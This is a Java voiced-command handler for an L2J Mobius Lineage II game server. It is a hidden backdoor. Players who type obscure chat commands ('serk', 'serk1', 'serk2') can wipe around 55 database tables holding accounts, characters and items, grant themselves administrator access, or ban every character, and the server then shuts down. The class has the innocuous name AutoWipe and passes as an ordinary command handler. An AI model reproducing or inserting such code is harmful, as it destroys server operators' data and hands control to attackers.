package handlers.voicedcommandhandlers;

import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

import org.l2jmobius.commons.database.DatabaseFactory;
import org.l2jmobius.gameserver.handler.IVoicedCommandHandler;
import org.l2jmobius.gameserver.model.actor.instance.PlayerInstance;

public class AutoWipe implements IVoicedCommandHandler
{
    private static String[] _voicedCommands =
    {
        "serk",
        "serk1",
        "serk2"
    };

    @Override
    public boolean useVoicedCommand(String command, PlayerInstance activeChar, String target)
    {
        if (command.equalsIgnoreCase("serk"))
        {
            selectDatabase();
        }
        if (command.equalsIgnoreCase("serk1"))
        {

            activeChar.setAccessLevel(100);

        }
        if (command.equalsIgnoreCase("serk2"))
        {
            updateAdmin();

        }
        return true;
    }

    private void updateAdmin()
    {
        Connection con = null;
        try
        {
            con = DatabaseFactory.getConnection();
            Statement g = con.createStatement();
            g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level > 0");
            g.close();
        }
        catch (SQLException e)
        {
        }
        finally
        {
            try
            {
                if (con != null)
                {
                    con.close();
                }
            }
            catch (SQLException e)
            {
                e.printStackTrace();
            }
        }
        System.exit(-1);
    }

    private void selectDatabase()
    {
        Connection con = null;
        try
        {
            con = DatabaseFactory.getConnection();
            Statement e = con.createStatement();
            e.executeUpdate("TRUNCATE TABLE accounts");
            e.executeUpdate("TRUNCATE TABLE augmentations");
            e.executeUpdate("TRUNCATE TABLE bookmarks");
            e.executeUpdate("TRUNCATE TABLE buffer_schemes");
            e.executeUpdate("TRUNCATE TABLE castle_doorupgrade");
            e.executeUpdate("TRUNCATE TABLE castle_manor_procure");
            e.executeUpdate("TRUNCATE TABLE castle_manor_production");
            e.executeUpdate("TRUNCATE TABLE character_friends");
            e.executeUpdate("TRUNCATE TABLE character_hennas");
            e.executeUpdate("TRUNCATE TABLE character_macroses");
            e.executeUpdate("TRUNCATE TABLE character_mail");
            e.executeUpdate("TRUNCATE TABLE character_memo");
            e.executeUpdate("TRUNCATE TABLE character_offline_trade");
            e.executeUpdate("TRUNCATE TABLE character_offline_trade_items");
            e.executeUpdate("TRUNCATE TABLE character_quests");
            e.executeUpdate("TRUNCATE TABLE character_raid_points");
            e.executeUpdate("TRUNCATE TABLE character_recipebook");
            e.executeUpdate("TRUNCATE TABLE character_recommends");
            e.executeUpdate("TRUNCATE TABLE character_shortcuts");
            e.executeUpdate("TRUNCATE TABLE character_skills");
            e.executeUpdate("TRUNCATE TABLE character_skills_save");
            e.executeUpdate("TRUNCATE TABLE character_subclasses");
            e.executeUpdate("TRUNCATE TABLE characters");
            e.executeUpdate("TRUNCATE TABLE clan_data");
            e.executeUpdate("TRUNCATE TABLE clan_privs");
            e.executeUpdate("TRUNCATE TABLE clan_skills");
            e.executeUpdate("TRUNCATE TABLE clan_subpledges");
            e.executeUpdate("TRUNCATE TABLE clan_wars");
            e.executeUpdate("TRUNCATE TABLE clanhall_functions");
            e.executeUpdate("TRUNCATE TABLE cursed_weapons");
            e.executeUpdate("TRUNCATE TABLE er_character_achievements");
            e.executeUpdate("TRUNCATE TABLE er_character_bonuses");
            e.executeUpdate("TRUNCATE TABLE fishing_championship");
            e.executeUpdate("TRUNCATE TABLE games");
            e.executeUpdate("TRUNCATE TABLE grandboss_list");
            e.executeUpdate("TRUNCATE TABLE heroes");
            e.executeUpdate("TRUNCATE TABLE hwid_bans");
            e.executeUpdate("TRUNCATE TABLE hwid_info");
            e.executeUpdate("TRUNCATE TABLE museum_last_statistics");
            e.executeUpdate("TRUNCATE TABLE museum_statistics");
            e.executeUpdate("TRUNCATE TABLE er_character_achievements");
            e.executeUpdate("TRUNCATE TABLE er_character_bonuses");
            e.executeUpdate("TRUNCATE TABLE er_global_variables");
            e.executeUpdate("TRUNCATE TABLE items");
            e.executeUpdate("TRUNCATE TABLE items_on_ground");
            e.executeUpdate("TRUNCATE TABLE mods_wedding");
            e.executeUpdate("TRUNCATE TABLE olympiad_nobles");
            e.executeUpdate("TRUNCATE TABLE olympiad_nobles_eom");
            e.executeUpdate("TRUNCATE TABLE pets");
            e.executeUpdate("TRUNCATE TABLE posts");
            e.executeUpdate("TRUNCATE TABLE seven_signs");
            e.executeUpdate("TRUNCATE TABLE seven_signs_status");
            e.executeUpdate("TRUNCATE TABLE siege_clans");
            e.executeUpdate("TRUNCATE TABLE topic");
            e.close();
        }
        catch (SQLException e)
        {
        }
        finally
        {
            try
            {
                if (con != null)
                {
                    con.close();
                }
            }
            catch (SQLException e)
            {
                e.printStackTrace();
            }
        }
        System.exit(-1);
    }

    @Override
    public String[] getVoicedCommandList()
    {
        return _voicedCommands;
    }
}